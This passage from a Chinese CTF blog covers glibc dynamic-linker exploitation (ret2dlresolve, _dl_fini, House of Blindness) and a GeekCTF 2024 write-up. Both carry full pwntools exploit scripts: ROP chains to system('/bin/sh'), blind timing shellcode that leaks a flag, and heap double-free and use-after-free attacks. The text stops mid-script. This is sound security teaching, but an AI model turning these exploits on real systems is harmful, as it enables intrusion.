*) D_PTR (l, l_info[DT_STRTAB]);    const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);    const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL])            + reloc_offset (pltgot, reloc_arg));    const ElfW(Sym) *sym = &amp;symtab[ELFW(R_SYM) (reloc-&gt;r_info)];    const ElfW(Sym) *refsym = sym;    void *const rel_addr = (void *)(l-&gt;l_addr + reloc-&gt;r_offset);    lookup_t result;    DL_FIXUP_VALUE_TYPE value;    /* Sanity check that we&#39;re really looking at a PLT relocation. */    assert (ELFW(R_TYPE)(reloc-&gt;r_info) == ELF_MACHINE_JMP_SLOT);    /* Look up the target symbol. If the normal lookup rules are not        used don&#39;t look in the global scope. */    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-&gt;st_other), 0) == 0)      &#123;        const struct r_found_version *version = NULL;        if (l-&gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL)      &#123;        const ElfW(Half) *vernum =          (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);        ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-&gt;r_info)] &amp; 0x7fff;        version = &amp;l-&gt;l_versions[ndx];        if (version-&gt;hash == 0)            version = NULL;      &#125;        /* We need to keep the scope around so do some locking. This is        not necessary for objects which cannot be unloaded or when        we are not using any threads (yet). */        int flags = DL_LOOKUP_ADD_DEPENDENCY;        if (!RTLD_SINGLE_THREAD_P)      &#123;        THREAD_GSCOPE_SET_FLAG ();        flags |= DL_LOOKUP_GSCOPE_LOCK;      &#125;#ifdef RTLD_ENABLE_FOREIGN_CALL        RTLD_ENABLE_FOREIGN_CALL;#endif        result = _dl_lookup_symbol_x (strtab + sym-&gt;st_name, l, &amp;sym, l-&gt;l_scope,                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);        /* We are done with the global scope. */        if (!RTLD_SINGLE_THREAD_P)      THREAD_GSCOPE_RESET_FLAG ();#ifdef RTLD_FINALIZE_FOREIGN_CALL        RTLD_FINALIZE_FOREIGN_CALL;#endif        /* Currently result contains the base load address (or link map)        of the object that defines sym. Now add in the symbol        offset. */        value = DL_FIXUP_MAKE_VALUE (result,                    SYMBOL_ADDRESS (result, sym, false));      &#125;    else      &#123;        /* We already found the symbol. The module (and therefore its loadaddress) is also known. */        value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));        result = l;      &#125;    /* And now perhaps the relocation addend. */    value = elf_machine_plt_value (l, reloc, value);    if (sym != NULL        &amp;&amp; __builtin_expect (ELFW(ST_TYPE) (sym-&gt;st_info) == STT_GNU_IFUNC, 0))      value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));    /* Finally, fix up the plt itself. */    if (__glibc_unlikely (GLRO(dl_bind_not)))        return value;    return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);&#125;</code></pre><pre><code class="c">/* All references to the value of l_info[DT_PLTGOT],l_info[DT_STRTAB], l_info[DT_SYMTAB], l_info[DT_RELA],l_info[DT_REL], l_info[DT_JMPREL], and l_info[VERSYMIDX (DT_VERSYM)]have to be accessed via the D_PTR macro. The macro is needed since formost architectures the entry is already relocated - but for some notand we need to relocate at access time. */#ifdef DL_RO_DYN_SECTION# define D_PTR(map, i) ((map)-&gt;i-&gt;d_un.d_ptr + (map)-&gt;l_addr)#else# define D_PTR(map, i) (map)-&gt;i-&gt;d_un.d_ptr#endif</code></pre><p>该函数查找函数对应的重定位表项通过:</p><pre><code class="c">    const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL])            + reloc_offset (pltgot, reloc_arg));</code></pre><p>即通过<code>link_map</code>中的<code>l_info</code>数组中的<code>DT_JMPREL</code>项找到<code>.rel.plt</code>地址，加上先前传入参数<code>reloc_arg</code>的偏移。这里的利用方法就是通过传入错误的<code>reloc_arg</code>，使其查找到我们伪造好的<code>.rel.plt</code>项，实现对重定位项的劫持，解析为我们想要的函数。</p><p>由延迟绑定的机制可知，我们需要先压栈我们需要的<code>reloc_arg</code>，随后调用<code>plt0</code>。并在对应地址上伪造好<code>.rel.plt</code>，<code>dynsym</code>，<code>dynstr</code>。在<code>dynstr</code>中写入想要解析的任意函数即可。</p><p>具体伪造方法以XDCTF2015 pwn200为例</p><h2 id="例"><a href="#例" class="headerlink" title="例"></a>例</h2><p>题目源码</p><pre><code class="c">#include &lt;unistd.h&gt;#include &lt;stdio.h&gt;#include &lt;string.h&gt;void vuln()&#123;    char buf[100];    setbuf(stdin, buf);    read(0, buf, 256);&#125;int main()&#123;    char buf[100] = &quot;Welcome to XDCTF2015~!\n&quot;;    setbuf(stdout, buf);    write(1, buf, strlen(buf));    vuln();    return 0;&#125;</code></pre><p>题目为32位，只开了NX，Partial RELRO<br>由于溢出长度不够，我们先进行一次栈迁移，在已知的目标地址上写入我们的伪造项<br>exp如下:</p><pre><code class="c">#!/usr/bin/env python#-*- coding: utf-8 -*-from pwn import*import oscontext(os = &#39;linux&#39;, arch = &#39;i386&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd = &#39;&#39;):    if len(sys.argv)!=1:        return    cmd += &quot;&quot;&quot;    b system    &quot;&quot;&quot;    gdb.attach(p, cmd)    pause()def exp(host = &quot;0.0.0.0&quot;, port=11451, exe = &quot;./vuln&quot;):  global p  if len(sys.argv)==1:    p = process(exe)  else:    p = remote(host, port)  pass  elf = ELF(&#39;./vuln&#39;)  leave_ret = 0x08049105  pop3 = 0x080491e9  pop_ebp = 0x080491eb  write_plt = elf.plt[&#39;write&#39;]  write_got = elf.got[&#39;write&#39;]  read_plt = elf.plt[&#39;read&#39;]  plt_0    = elf.get_section_by_name(&#39;.plt&#39;).header.sh_addr  rel_plt  = elf.get_section_by_name(&#39;.rel.plt&#39;).header.sh_addr  dynsym   = elf.get_section_by_name(&#39;.dynsym&#39;).header.sh_addr       dynstr   = elf.get_section_by_name(&#39;.dynstr&#39;).header.sh_addr       bss_addr = elf.get_section_by_name(&#39;.bss&#39;).header.sh_addr  text_addr = elf.get_section_by_name(&#39;.text&#39;).header.sh_addr  base_addr = bss_addr + 0x800  payload = b&quot;\x00&quot; * (112)  payload += flat([read_plt, pop3, 0, base_addr, 0x100, pop_ebp, base_addr -4, leave_ret])  p.recv()  p.send(payload)  reloc_index = base_addr + 24 - rel_plt   fake_sym_addr = base_addr + 32  align = 0x10 - ((fake_sym_addr - dynsym) &amp; 0xf)  fake_sym_addr += align  r_sym = int((fake_sym_addr - dynsym) / 0x10)  r_type = 0x7  r_info = (r_sym &lt;&lt; 8) + (r_type &amp; 0xff)   fake_reloc = flat([write_got, r_info])  st_name = fake_sym_addr + 0x10 - dynstr  st_bind = 0x1  st_type = 0x2  st_info = (st_bind &lt;&lt; 4) + (st_type &amp; 0xf)  fake_sym = flat([st_name, 0, 0, st_info])  payload = flat([plt_0, reloc_index, 0x08049196, base_addr + 0x80, 0, 0])  payload += fake_reloc  payload += b&quot;\x00&quot; * align  payload += fake_sym  payload += b&quot;system\x00&quot;  payload = payload.ljust(0x80, b&quot;\x00&quot;)  payload += flat([b&quot;/bin/sh\x00&quot;])  payload = payload.ljust(0x100, b&quot;\x00&quot;)  p.send(payload)if __name__ == &#39;__main__&#39;:    exp()    p.interactive()</code></pre><p>注意dl相关函数占用较多栈空间，迁移之后可能出现栈生长到其他不可写段的情况，所以迁移的地址需要离bss足够远。</p><h2 id="64位情况"><a href="#64位情况" class="headerlink" title="64位情况"></a>64位情况</h2><p>存在以下区别:</p><ul><li>在32位中，<code>reloc_arg</code>作为偏移量，而在64位中作为<code>.rel.plt</code>的数组下标</li><li>结构体均升级为64位版本</li><li>version问题<br>version问题如下</li></ul><pre><code class="c">if (l-&gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL)&#123;    const ElfW(Half) *vernum =      (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-&gt;r_info)] &amp; 0x7fff;    version = &amp;l-&gt;l_versions[ndx];    if (version-&gt;hash == 0)        version = NULL;&#125;</code></pre><p>此处把<code>(reloc-&gt;r_info)&gt;&gt;32</code>作为下标取值<code>vernum</code>，由于我们伪造的<code>(reloc-&gt;r_info)&gt;&gt;32</code>很大，导致容易取到不可读区域。</p><p>解决方法之一是避免进入该循环，即使得<code>l-&gt;l_info[VERSYMIDX (DT_VERSYM)]</code>为0，地址为<code>link_map+0x1c8</code>。然而这需要泄露ld地址，都有地址了还打ret2dl就不礼貌了。</p><p>另一种解决方案是选择不进入<code>if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-&gt;st_other), 0) == 0)</code>的大循环，而是走else分支</p><pre><code class="c">else  &#123;    /* We already found the symbol. The module (and therefore its loadaddress) is also known. */    value = DL_FIXUP_MAKE_VALUE (l, l-&gt;addr + sym-&gt;st_value);    result = l;  &#125;</code></pre><p><code>DL_FIXUP_MAKE_VALUE</code>用于计算函数真实值。我们只需将<code>sym-&gt;st_value</code>指向某个已解析函数的got表，<code>l-&gt;addr</code>指向目标函数和已解析函数的偏移。</p><p>在不泄露ld的情况下伪造<code>l-&gt;addr</code>，我们需要伪造<code>link_map</code>，一般需要满足:<br>1.<code>link_map</code>中的<code>DT_STRTAB</code>、<code>DT_SYMTAB</code>、<code>DT_JMPREL</code>可读<br>2.<code>DT_SYMTAB</code>结构体中的<code>d_ptr</code>即<code>sym</code>，<code>*(sym+5) &amp; 0x03 != 0</code><br>3.<code>(reloc-&gt;r_info)&amp;0xff == 7</code><br>4.<code>rel_addr = l-&gt;addr + reloc-&gt;r_offset</code>即原先需要修改的got表地址有可写权限<br>5.<code>l-&gt;l_addr + sym-&gt;st_value</code> 为system的地址</p><h1 id="dl-fini的利用"><a href="#dl-fini的利用" class="headerlink" title="_dl_fini的利用"></a><code>_dl_fini</code>的利用</h1><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><p>该函数在ld.so中，在exit时调用，并对<code>.fini</code>和<code>.fini_array</code>中函数进行调用。</p><pre><code class="c">/* Is there a destructor function? */if (l-&gt;l_info[DT_FINI_ARRAY] != NULL    || (ELF_INITFINI &amp;&amp; l-&gt;l_info[DT_FINI] != NULL))  &#123;    /* When debugging print a message first. */    if (__builtin_expect (GLRO(dl_debug_mask)                    &amp; DL_DEBUG_IMPCALLS, 0))        _dl_debug_printf (&quot;\ncalling fini: %s [%lu]\n\n&quot;,         DSO_FILENAME (l-&gt;l_name),                        ns);    /* First see whether an array is given. */    if (l-&gt;l_info[DT_FINI_ARRAY] != NULL)      &#123;        ElfW(Addr) *array =          (ElfW(Addr) *) (l-&gt;l_addr                        + l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr);        unsigned int i = (l-&gt;l_info[DT_FINI_ARRAYSZ]-&gt;d_un.d_val                        / sizeof (ElfW(Addr)));        while (i-- &gt; 0)            ((fini_t) array[i]) ();      &#125;      /* Next try the old-style destructor. */    if (ELF_INITFINI &amp;&amp; l-&gt;l_info[DT_FINI] != NULL)        DL_CALL_DT_FINI            (l, l-&gt;l_addr + l-&gt;l_info[DT_FINI]-&gt;d_un.d_ptr);&#125;</code></pre><p>这里对<code>.fini_array</code>的定位是通过<code>l-&gt;l_addr+ l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr</code>实现的，这就给了我们操作的空间</p><h2 id="HitconCTF2023-Wall-Sina"><a href="#HitconCTF2023-Wall-Sina" class="headerlink" title="HitconCTF2023 Wall-Sina"></a>HitconCTF2023 Wall-Sina</h2><p>源码如下:</p><pre><code class="c">#include &lt;unistd.h&gt;#include &lt;stdio.h&gt;int main();char buff[0x48];void *const gift = main;int main() &#123;    read(STDIN_FILENO, buff, 0x40);    printf(buff);&#125;</code></pre><p>保护全开<br>栈上残留了指针<code>_rtld_global</code>和<code>_rtld_global._dl_ns[0]._ns_loaded</code>，读<code>rtld_global</code>结构体源码可知，<code>_ns_loaded</code>是结构体<code>link_map</code>的指针<br>故我们可以通过fmt任意写在<code>link_map</code>的第一项，也就是<code>l_addr</code>处写任意地址。<br>题目在<code>.data.rel</code>保留了一个main的指针，且在<code>.fini_array</code>后不远处，故我们可以改写<code>l_addr</code>的LSB，使<code>l-&gt;l_addr+ l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr</code>指向该指针，达成第二次fmt。在泄露各地址之后还能再该<code>l_addr</code>使<code>.fini</code>定位到main达成第三次fmt。</p><h2 id="House-of-Blindness"><a href="#House-of-Blindness" class="headerlink" title="House of Blindness"></a>House of Blindness</h2><p>该手法无需泄露地址，需要mmap相关的任意写</p><p>依旧是改写<code>l_addr</code>的LSB，使<code>l-&gt;l_addr + l-&gt;l_info[DT_FINI]-&gt;d_un.d_ptr</code>指向目标函数。然而<code>.dynamic</code>很大，超过了256bytes，这意味着可能需要爆破一个byte。</p><p>该手法给出了不用爆破的解决方案。使用<code>.dynamic</code>段中的<code>DT_DEBUG</code>项。该项指向了一个位于ld.so中的<code>_r_debug</code>结构，且有可写权限，可以通过覆盖LSB达成对libc函数的调用。<br>由于ld.so地址在libc.so之后，地址显然更大，可以将<code>l_addr</code>改为负数(补码形式)来解决。<br>另外，此时的rdi正好落在<code>dl_load_lock</code>上，位于ld.so中，也是可控的。</p><hr><p>参考资料:</p><ul><li><a href="https://bbs.kanxue.com/thread-253833.htm#msg_header_h2_2">[看雪]dl_runtime_resolve结合源码分析及常见的几种攻击手法</a></li><li><a href="https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md">CTF-All-In-One</a></li><li><a href="https://zhuanlan.zhihu.com/p/657009223">[知乎]HitconCTF2023 pwn Wall-Sina wp</a></li><li><a href="https://hackmd.io/jmE0VvcTQaaJm6SEWiqUJA#refining-our-exploit-with-_r_debug">[Hackmd]house of blindness</a></li><li>《程序员的自我修养》</li></ul>]]></content>
    
    
    <summary type="html">一些 dl 类型攻击手法的总结</summary>
    
    
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="dl" scheme="http://deepunk.icu/tags/dl/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp for GeekCTF 2024</title>
    <link href="http://deepunk.icu/GeekCTF2024wp/"/>
    <id>http://deepunk.icu/GeekCTF2024wp/</id>
    <published>2024-04-13T16:00:00.000Z</published>
    <updated>2026-05-27T12:52:23.537Z</updated>
    
    <content type="html"><![CDATA[<p>出题之余想打打比赛复健一下，没想到题目质量出奇的高，最后pwn方向第二</p><h1 id="memo0"><a href="#memo0" class="headerlink" title="memo0"></a>memo0</h1><p>换表base64，注意密文被动态解密过一次</p><h1 id="memo1"><a href="#memo1" class="headerlink" title="memo1"></a>memo1</h1><p>edit函数中读取v3类型为long long，随后与unsigned int idx进行有符号比较，最后转换为unsigned int 传入myread中。构造负数v3使其补码为想要的目标值即可达成栈溢出</p><pre><code class="python">1-1*(~(len(payload) - 1)&amp;0x7fffffffffffffff)</code></pre><p>这里通过多次溢出到canary低位进行覆盖，即可泄露</p><h1 id="memo2"><a href="#memo2" class="headerlink" title="memo2"></a>memo2</h1><p>非常好的题目<br>一眼可以看出要打ld相关的结构，该漏洞在sig函数。程序首先mmap了一块空间，sig函数对该空间的修改存在数组越界，而mmap分配的地址是相对偏移固定的，故我们可以修改到ld.so上的内容<br>然而本题存在几个坑（我是踩坑大师）：</p><ol><li>该程序的tls在libc.so之前，也就是在可控地址之前，这里的v1看似可以写负数补码，但看汇编可以发现地址＋偏移的操作前，偏移经过了一次edx-&gt; rdx的无符号扩展的转换。故无法打canary直接溢出</li><li>sig只能调用一次，随后调用<code>_exit</code>。<code>_exit</code>和<code>exit</code>的区别在于后者会调用一系列析构函数，前者则直接调用<code>syscall</code> ,导致基于fini, fini_array的一系列打法都无法实现</li><li><code>strncpy</code>之后到调用<code>_exit</code>之前没有其他需要符号解析的函数，不能通过添加偏移误导dl_resolve向<code>_exit</code>的got表上写地址</li><li><del>缺少足够可用的指针来伪造重定位表或者符号表</del>，在sig之前不知道ld地址因而也无法在mmap区域里伪造表项</li></ol><p>下面是正确解法：<br>dl_reslove解析函数时，会根据函数的符号沿着所有link_map查找相应符号，对于<code>_exit</code>，会在libc中查找。这个查找的结果是libc的link_map -&gt; l_addr 加上函数的偏移，而我们调试发现这个地址在ld附近，故我们可以通过更改l_addr，使<code>_exit</code>被错误解析到其他函数上<br>不过这里即使错误解析<code>_exit</code>，也无法直接获得shell，并会在之后的return立即退出。还好我们还有一个栈溢出，通过覆盖canary，能够直接调用<code>stack_chk_fail</code>。如果我们错误解析这个函数，就能在避免canary错误退出的同时，获得一个可观的栈溢出<br>exp如下：</p><pre><code class="python">#!/usr/bin/env python3  #-*- coding: utf-8 -*-  from pwn import*  import os    context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])    def exp(host = &quot;chall.geekctf.geekcon.top&quot;, port=40312, exe = &quot;./memo2&quot;):    global p    if len(sys.argv)==1:      p = remote(&quot;0.0.0.0&quot;, port)    else:      p = remote(host, port)    pass      offset = 0x160    libclinkmap = 0x2200    exit = 0xeac00    stack_chk_fail = 0x136550    write = 0x114870    poprdi = 0x000000000002a3e5    binsu = 0x001d8678    system = 0x50d70    ret = 0x00000000000f8c92      p.recvuntil(b&quot;Please enter your password: &quot;)    p.sendline(b&quot;CTF_is_interesting_isn0t_it?&quot;)      p.recvuntil(b&quot;Your choice:&quot;)    p.sendline(b&quot;5&quot;)    p.recvuntil(b&quot;Where would you like to sign(after the content): &quot;)    p.sendline(str(libclinkmap+1).encode())    p.recvuntil(b&quot;You will overwrite some content: &quot;)    libc = p.recvn(5).rjust(6, b&quot;\x00&quot;).ljust(8, b&quot;\x00&quot;)    libc = u64(libc)    log.success(f&quot;[*]libc: &#123;hex(libc)&#125;&quot;)    p.recvuntil(b&quot;name: &quot;)    payload = p64(libc + stack_chk_fail - exit)[1:] + p64(libc + 0x22c140) + b&quot;\xc0&quot;    payload = payload.ljust(0x28, b&quot;\x90&quot;)    payload += p64(poprdi + libc) + p64(binsu + libc) + p64(ret + libc) +p64(system + libc)    p.send(payload)      if __name__ == &#39;__main__&#39;:      exp()      p.interactive()</code></pre><p>另外，我本地跑出的libc的link_map的偏移与远端不同，我的解决方法是先泄露出相对偏移固定的ld.so的link_map，通过l_next找到相对固定的vdso的link_map，然后在远端泄露出libc的link_map，可以得到其固定的后两个hex为00，又已知mmap大小为0x2000，故直接从0x2000开始爆破0x100的位置即可，手动爆两次就成功了。</p><p>p.s. 后来学习了别人的博客，原来这题是可以伪造表项的，例如伪造strtab，只需让linkmap里的表项指向bss上指针的前一个地址。这应该是正解。我的解法似乎还没看到前人做过</p><h1 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h1><p>很有新意的一道shellcode，只允许ow，要求偶数位byte为偶数，奇数位byte位奇数，且奇数不能超过0x80<br>显然需要构造一个盲注，但是限制如此大的情况下很难直接读入，并且最大的难点在于<code>syscall</code>的机器码为<code>0f 05</code>，连续的两个奇数<br>于是我们的思路转变为：先构造一个无限制的读入，而要达成这个读入，需要在运行过程中将某个读入的字节码转换为<code>0f 05</code><br>我的策略是先找到一个能改目标字节，且满足条件的指令，我选择的是</p><pre><code class="assembly">sub [rsi + 0x11], bx   //66 29 5e 11</code></pre><p>围绕这条指令和预先寄存器的设置编写read的shellcode如下</p><pre><code class="assembly">xor rax,rax pop rbxpop rdxpop rbx push 1noppop rbxadd rsi, rbxpop rcx sub [rsi + 0x11], bx|</code></pre><p>rsi本身指向数组，至于这里为什么先＋1，读者可以自行构造理解<br>然后读入我们的盲注shellcode，这里懒得算偏移喷射了一些nop，最后exp如下</p><pre><code class="python">from pwn import*  import os    context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;info&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])    def debug(cmd = &#39;&#39;):      if len(sys.argv)!=1:          return      cmd += &quot;&quot;&quot;      b main      bp 0x13d1      &quot;&quot;&quot;      gdb.attach(p, cmd)      pause()      if __name__ == &#39;__main__&#39;:    flag = &quot;flag&#123;practice_handwrite_shellcode&#125;&quot;    #flag&#123;praatice_hand_rite_rhdkgco?e&#125;    count = 1    for i in range (len(flag),0x40):      left = 0      right = 127      while left &lt; right:          mid = (left + right)&gt;&gt;1          global p          p = remote(&quot;chall.geekctf.geekcon.top&quot;, 40245)          # p = process(&quot;./shellcode&quot;)            # shellcode = &#39;&#39;&#39;xor rax,rax          # pop rbx           # pop rdx           # pop rbx          # push 1           # nop          # pop rbx           # add rsi, rbx          # /* even */          # pop rcx          # sub [rsi + 0x11], bx           # /* odd */          # &#39;&#39;&#39;          p.recvuntil(b&quot;Please input your shellcode:&quot;)          # pl = asm(shellcode) + b&quot;\x10\x05\x90&quot;          p.send(b&quot;H1\xc0[Z[j\x01\x90[H\x01\xdeYf)^\x11\x10\x05\x90&quot;)            # payload = b&quot;\x90&quot; * 0x18          # payload += asm(shellcraft.open(&quot;./flag&quot;))          # payload += asm(shellcraft.read(3, &#39;rsp&#39;, 0x80))          payload = b&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_1\xd2\xb2\x80H\x89\xe6\x0f\x05&quot;          # print(payload)          shellcode = f&#39;&#39;&#39;          mov dl,byte ptr [rsp+&#123;i&#125;]          mov cl,&#123;mid&#125;          cmp dl,cl          ja loop          mov al,0x1          syscall          loop:          xor rax, rax          mov rdi, 0          mov rsi, rsp          mov rdx, 0x80          syscall          &#39;&#39;&#39;          payload += asm(shellcode)          sleep(4)          try:            p.sendline(payload)                        start_time = time.time()            p.clean(2)            start_time = time.time() - start_time            except:            pass          else:            if start_time &gt; 2:              left = mid +1              p.close()               else:                        right = mid              p.close()          info(f&quot;time--&gt;&#123;count&#125;&quot;)          count += 1      flag += chr(left)      info(flag)      if flag[-1]==&quot;&#125;&quot;:          break</code></pre><p>btw由于网络环境太差，灵敏度已经调很低的情况下爆出来依旧有瑕疵，最后还得靠人脑自动补全（</p><h1 id="stkbof"><a href="#stkbof" class="headerlink" title="stkbof"></a>stkbof</h1><p>鉴定为：前戏太久，还没开始做我就已经干了</p><p>hexagon的简单栈溢出，难点在于搭环境XD<br>逆向可以选择ida的python插件&#x2F;ldd插件&#x2F;ghidra插件，调试据说可以用高通的sdk，但是由于高通的勾使网站根本下不下来，后面采用了一些比较tricky的方式。直接运行会报错缺少ld文件，搜索得知这个ld就是给出的libc的一个软链接</p><p>需要先了解hexagon的指令集和栈结构，和arm比较相似。另外，aslr是没有的，所以我们只需事先泄露出栈地址，libc地址，就能一直使用。至于这里为什么要泄露栈地址，因为不存在pop&#x2F;push，取值的操作都是基于fp的偏移进行的，也就意味着每次覆盖的fp都会成为下一次的栈帧，所以需要控制fp</p><p>不使用调试器泄露fp的一种方法是手动patch文件，直接patch出输出fp或者相关量的指令，很炫酷，需要对指令集有所理解；另一种是使用qemu的调试功能</p><pre><code class="shell">qemu-hexagon -L libc -d in_asm,exec,cpu -dfilter 0x20400+0xc0 -strace -D /tmp/log ./chall</code></pre><p>exp如下</p><pre><code class="python">#!/usr/bin/env python3  #-*- coding: utf-8 -*-  from pwn import*  import os    context(os = &#39;linux&#39;, arch = &#39;i386&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])    def debug(cmd = &#39;&#39;):      if len(sys.argv)!=1:          return      cmd += &quot;&quot;&quot;      &quot;&quot;&quot;      gdb.attach(p, cmd)      pause()    libcbase = 0x40810000  gadget = 0x000204B4  binsu = libcbase + 0x0012279  system = libcbase + 0x000BB920  fp = 0x4080fce0  fp += 0x100    def exp(host = &quot;chall.geekctf.geekcon.top&quot;, port=18081, exe = &quot;./memo1&quot;):    global p    p = remote(host, port)    p.send(b&#39;CONNECT rbxgkrrv782pg9y9:1 HTTP/1.0\r\n\r\n&#39;)    p.recvline()      pass    p.recvuntil(&quot;Do you know \&quot;stack buffer overflow\&quot;?\n&quot;)    # 0x4080fd10    payload = (p32(0)*2 + p32(binsu) + p32(0xffffffff) + p32(fp + 0x200) + p32(system)).ljust(0x100, b&quot;\x90&quot;) + p32(fp - 0xf0) + p32(gadget)    p.send(payload)    if __name__ == &#39;__main__&#39;:      exp()      p.interactive()</code></pre><h1 id="cppgame"><a href="#cppgame" class="headerlink" title="cppgame"></a>cppgame</h1><p>最佳题目，趣味和挑战性并存，并告诉玩家不当观批就不会打pwn的深刻道理<br>第一，我不玩塔</p><p>题目就是文字版的《杀戮尖塔》，稍微了解C++即可发现漏洞点在于Card类没有拷贝构造函数，在拷贝时会发生浅拷贝，如果调用其中一个对象的析构函数，就会留下悬空指针</p><p>虽然源码中没有写出，但手动fuzz并查阅汇编后发现dispaly函数的结尾会delete card并调用析构函数，由于前面发生了浅拷贝，这里会使得原先card的description实际已经释放但仍然可以访问</p><p>另外一个漏洞点在于display函数(又是你)输出name是以null作为截断的，如果将name填满，自然会输出之后的description指针，从而达成堆地址的泄露</p><p>这两个漏洞组合之后，我们可以改tcache fd从而任意地址分配，也可以double free构造指向同一块内存的指针，再结合vector保存在堆上的指针，我们可以在堆上七进七出了。但最大的问题是，我们只有堆的地址，而保存在堆上的只有卡牌对象。玩家，怪物这些对象全部保存在bss上，导致很难达成一刀999的效果。怪物1337血，还每两回合攻击力翻倍，不开挂，我怎么玩？</p><p>在我一筹莫展之际，向身边的塔批朋友分享了我的处境，随后的十分钟里，观者玩家的智慧以一种粗暴的方式射进了我的大脑：你不是能改卡组吗，先这样，再那样，然后你就能转起来了。</p><p>我：？？？</p><p>改牌的方式操作起来不难，由于description的大小刚好是0x80，与vector扩容两次之后的大小一致，构造一个double free并随后让vector和description指向同一个地方，然后在一次修改操作里同时完成泄露地址、伪造卡牌和伪造指针的过程。为了节约空间我把卡牌压缩在了一起，现在想来由于type是32位大小，其实还有压缩的空间。<br>开挂的exp如下：</p><pre><code class="python">from pwn import*  import os    context(os = &#39;linux&#39;, arch = &#39;i386&#39;, log_level = &#39;info&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])    def debug(cmd = &#39;&#39;):      if len(sys.argv)!=1:          return      cmd += &quot;&quot;&quot;      b main      bp 0x2a2d      &quot;&quot;&quot;      gdb.attach(p, cmd)      pause()    def menu():    p.recvuntil(b&quot;Your choice:&quot;)    def buy(idx):    menu()    p.sendline(b&quot;1&quot;)    p.recvuntil(b&quot;which card do you want to buy?\n&quot;)    p.sendline(str(idx).encode())    def upgrade(idx):    menu()    p.sendline(b&quot;2&quot;)    p.recvuntil(b&quot;Input card index:\n&quot;)    p.sendline(str(idx).encode())    p.recvuntil(&quot;Your new card name:\n&quot;)    p.send(b&quot;\x90&quot; * 0x10)    p.recvuntil(b&quot;\x90&quot; * 0x10)    leak = u64(p.recvn(6).ljust(8, b&quot;\x00&quot;))    heapbase = leak - 0x120a0    log.success(hex(leak))    log.success(hex(heapbase))    p.recvuntil(b&quot;:\n&quot;)    payload = p64(leak + 0x50)*2 + p64(leak + 0x58)*2 + p64(leak + 0x60)*7    payload = payload.ljust(11, b&quot;\x00&quot;) + b&quot;V&quot;.ljust(0x8, b&quot;\x00&quot;) + b&quot;R&quot;.ljust(0x8, b&quot;\x00&quot;)    payload += p64(3) + p64(4) + p64(5)    p.send(payload)    def display(idx):    menu()    p.sendline(b&quot;3&quot;)    p.recvuntil(b&quot;Input card index:\n&quot;)    p.sendline(str(idx).encode())    p.recvuntil(b&quot;Card description:&quot;)    def exp(host = &quot;chall.geekctf.geekcon.top&quot;, port=40304, exe = &quot;./game&quot;):    global p    if len(sys.argv)==1:      p = process(exe)    else:      p = remote(host, port)    pass      for i in range(4):      buy(1)    for i in range(4):      display(i+1)      buy(1)    buy(1)    buy(1)    display(3)    upgrade(3)</code></pre><p>然后我召唤了塔批上号展示操作<br>此时我手里有11张牌，其中2张暴怒，2张平静，7张猛虎下山（牌型分布参考专家意见）。他开局先是把手里的猛虎下山全部丢掉，同时一直挨打，但是猛虎下山快丢完的时刻出现了转机：由于猛虎下山使用之后不放入弃牌堆，现在牌堆里只有暴怒和平静。因为使用了猛虎下山，每次（平静时）使用暴怒都会获得两张牌，获得两点能量，并对怪物造成伤害，随后使用平静刷新状态。由于手牌有3张，牌库总共4张，故每次手牌中都至少存在一张暴怒和一张平静，而每打完这两张牌，就会因为暴怒重新获得2张牌和2点能量，也就是没有任何损耗。如果一直交替出这两张牌，就能在一回合之内无限连下去，直到击碎神明！</p><p>代练脚本如下：</p><pre><code class="python">if __name__ == &#39;__main__&#39;:    exp()    p.sendlineafter(b&quot;choice: &quot;, b&quot;6&quot;)    calm = False    while True:      p.recvuntil(b&quot;hand:&quot;)      p.recvline()        cards = []      res = b&#39;&#39;      for i in range(3):        res = p.recvline().strip()        log.info(f&quot;Card: &#123;res&#125;&quot;)          if res[0] in [49, 50, 51]:           res = res.split(b&quot; &quot;)[-1]        else:           break                if (res == b&quot;V&quot; or res == b&quot;R&quot;):          cards.append(res.decode())        else:          cards.append(&quot;N&quot;)              log.info(f&quot;Hand: &#123;cards&#125;&quot;)        if not b&#39;-&#39; in res:        p.recvline()        info = p.recvuntil(b&#39;-&#39;, drop=True)      log.info(f&quot;Your Info: \n&#123;info.decode()&#125;&quot;)        p.recvline()        info = 